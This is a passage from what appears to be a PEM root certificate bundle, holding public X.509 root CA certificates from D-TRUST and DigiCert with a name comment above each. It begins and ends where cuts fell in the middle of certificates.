      BtDFcCLNSS1UY8y2bmhGC1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe
      3M/vg4aijJRPn2jymJBGhCfHdr/jzDUsi14HZGWCwEiwqJH5YZ92IFCokcdmtet4
      YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszWY19zjNoFmag4qMsXeDZR
      rOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjHYpy+g8cm
      ez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQU
      oBEKIz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF
      MAMBAf8wewYDVR0fBHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20v
      QUFBQ2VydGlmaWNhdGVTZXJ2aWNlcy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29t
      b2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2VzLmNybDANBgkqhkiG9w0BAQUF
      AAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm7l3sAg9g1o1Q
      GE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz
      Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2
      G9w84FoVxp7Z8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsi
      l2D4kF501KKaU73yqWjgom7C12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3
      smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg==
      -----END CERTIFICATE-----

      # D-TRUST BR Root CA 1 2020
      -----BEGIN CERTIFICATE-----
      MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQsw
      CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
      VVNUIEJSIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5
      NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
      A1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
      BAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7dPYS
      zuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0
      QVK5buXuQqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/
      VbNafAkl1bK6CKBrqx9tMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
      PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2JyX3Jvb3Rf
      Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
      dC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
      c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
      PQQDAwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFW
      wKrY7RjEsK70PvomAjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHV
      dWNbFJWcHwHP2NVypw87
      -----END CERTIFICATE-----

      # D-TRUST EV Root CA 1 2020
      -----BEGIN CERTIFICATE-----
      MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQsw
      CQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRS
      VVNUIEVWIFJvb3QgQ0EgMSAyMDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5
      NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAG
      A1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAGByqGSM49AgEGBSuB
      BAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8ZRCC
      /N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rD
      wpdhQntJraOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3
      OqQo5FD4pPfsazK2/umLMA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6g
      PKA6hjhodHRwOi8vY3JsLmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X2V2X3Jvb3Rf
      Y2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVjdG9yeS5kLXRydXN0Lm5l
      dC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxPPUQtVHJ1
      c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjO
      PQQDAwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CA
      y/m0sRtW9XLS/BnRAjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJb
      gfM0agPnIjhQW+0ZT0MW
      -----END CERTIFICATE-----

      # D-TRUST Root Class 3 CA 2 2009
      -----BEGIN CERTIFICATE-----
      MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRF
      MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBD
      bGFzcyAzIENBIDIgMjAwOTAeFw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NTha
      ME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMM
      HkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIwDQYJKoZIhvcNAQEB
      BQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOADER03
      UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42
      tSHKXzlABF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9R
      ySPocq60vFYJfxLLHLGvKZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsM
      lFqVlNpQmvH/pStmMaTJOKDfHR+4CS7zp+hnUquVH+BGPtikw8paxTGA6Eian5Rp
      /hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUCAwEAAaOCARowggEWMA8G
      A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ4PGEMA4G
      A1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVj
      dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUy
      MENBJTIwMiUyMDIwMDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRl
      cmV2b2NhdGlvbmxpc3QwQ6BBoD+GPWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3Js
      L2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAwOS5jcmwwDQYJKoZIhvcNAQEL
      BQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm2H6NMLVwMeni
      acfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
      o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4K
      zCUqNQT4YJEVdT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8
      PIWmawomDeCTmGCufsYkl4phX5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3Y
      Johw1+qRzT65ysCQblrGXnRl11z+o+I=
      -----END CERTIFICATE-----

      # D-TRUST Root Class 3 CA 2 EV 2009
      -----BEGIN CERTIFICATE-----
      MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRF
      MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBD
      bGFzcyAzIENBIDIgRVYgMjAwOTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUw
      NDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNV
      BAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAwOTCCASIwDQYJKoZI
      hvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfSegpn
      ljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM0
      3TP1YtHhzRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6Z
      qQTMFexgaDbtCHu39b+T7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lR
      p75mpoo6Kr3HGrHhFPC+Oh25z1uxav60sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8
      HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure3511H3a6UCAwEAAaOCASQw
      ggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyvcop9Ntea
      HNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFw
      Oi8vZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xh
      c3MlMjAzJTIwQ0ElMjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1E
      RT9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0MEagRKBChkBodHRwOi8vd3d3LmQt
      dHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xhc3NfM19jYV8yX2V2XzIwMDku
      Y3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+PPoeUSbrh/Yp
      3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
      nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNF
      CSuGdXzfX2lXANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7na
      xpeG0ILD5EJt/rDiZE4OJudANCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqX
      KVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVvw9y4AyHqnxbxLFS1
      -----END CERTIFICATE-----

      # DigiCert Assured ID Root CA
      -----BEGIN CERTIFICATE-----
      MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBl
      MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
      d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
      b3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzExMTEwMDAwMDAwWjBlMQswCQYDVQQG
      EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
      cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwggEi
      MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7c
      JpSIqvTO9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYP
      mDI2dsze3Tyoou9q+yHyUmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+
      wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4
      VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpyoeb6pNnVFzF1roV9Iq4/
      AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whfGHdPAgMB
      AAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
      BBRF66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYun
      pyGd823IDzANBgkqhkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRC
      dWKuh+vy1dneVrOfzM4UKLkNl2BcEkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTf
      fwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38FnSbNd67IJKusm7Xi+fT8r87cm
      NW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i8b5QZ7dsvfPx
      H2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
      +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
      -----END CERTIFICATE-----

      # DigiCert Assured ID Root G2
      -----BEGIN CERTIFICATE-----
      MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBl
      MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
      d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
      b3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQG
      EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
      cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwggEi
      MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSA
      n61UQbVH35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4Htecc
      biJVMWWXvdMX0h5i89vqbFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9Hp
      EgjAALAcKxHad3A2m67OeYfcgnDmCXRwVWmvo2ifv922ebPynXApVfSr/5Vh88lA
      bx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OPYLfykqGxvYmJHzDNw6Yu
      YjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+RnlTGNAgMB
      AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQW
      BBTOw0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPI
      QW5pJ6d1Ee88hjZv0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I
      0jJmwYrA8y8678Dj1JGG0VDjA9tzd29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4Gni
      lmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAWhsI6yLETcDbYz+70CjTVW0z9
      B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0MjomZmWzwPDCv
      ON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
      IhNzbM8m9Yop5w==
      -----END CERTIFICATE-----

      # DigiCert Assured ID Root G3
      -----BEGIN CERTIFICATE-----
      MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw
      CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
      ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg
      RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV
      UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu
      Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq
      hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf
      Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q
      RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
      BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD
      AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY
      JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv
      6pZjamVFkpUBtA==
      -----END CERTIFICATE-----

      # DigiCert Global Root CA
      -----BEGIN CERTIFICATE-----
      MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
      MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
      d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
      QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
      MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
      b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
      9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
      CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
      nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
      43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
      T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
      gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
      BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
      TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
      DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
      hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
      06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
      PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
      YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
      CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
      -----END CERTIFICATE-----

      # DigiCert Global Root G2
      -----BEGIN CERTIFICATE-----
      MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBh
      MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
      d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBH
      MjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVT
      MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
      b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG
      9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI
      2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx
      1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQ
      q2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5Wz
      tCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQ
      vIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAP
      BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV
      5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY
      1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4
      NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NG
      Fdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ91
      8rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTe
      pLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
      MrY=
      -----END CERTIFICATE-----

      # DigiCert Global Root G3
      -----BEGIN CERTIFICATE-----
      MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQsw
      CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu
      ZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAe
      Fw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVTMRUw
      EwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20x
      IDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0CAQYF
      K4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FG
      fp4tn+6OYwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPO
      Z9wj/wMco+I+o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAd
      BgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNpYim8S8YwCgYIKoZIzj0EAwMDaAAwZQIx
      AK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y3maTD/HMsQmP3Wyr+mt/
      oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34VOKa5Vt8
      sycX
      -----END CERTIFICATE-----

      # DigiCert High Assurance EV Root CA
      -----BEGIN CERTIFICATE-----
      MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
      MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
      d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
      ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
      MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
      LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
      RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
      +9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
      PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
      xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
      Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
      hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
      EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
      MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
      FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
      nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
      eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
      hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
      Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
      vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
      +OkuE6N36B9K
      -----END CERTIFICATE-----

      # DigiCert TLS ECC P384 Root G5
      -----BEGIN CERTIFICATE-----
      MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQsw
      CQYDVQQGEwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURp
      Z2lDZXJ0IFRMUyBFQ0MgUDM4NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2
      MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ
      bmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQgUm9vdCBHNTB2MBAG
      ByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1TzvdlHJS
      7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp
      0zVozptjn4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICIS
      B4CIfBFqMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49
      BAMDA2gAMGUCMQCJao1H5+z8blUD2WdsJk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQ
      LgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIxAJSdYsiJvRmEFOml+wG4
      DXZDjC5Ty3zfDBeWUA==
      -----END CERTIFICATE-----

      # DigiCert TLS RSA4096 Root G5
      -----BEGIN CERTIFICATE-----
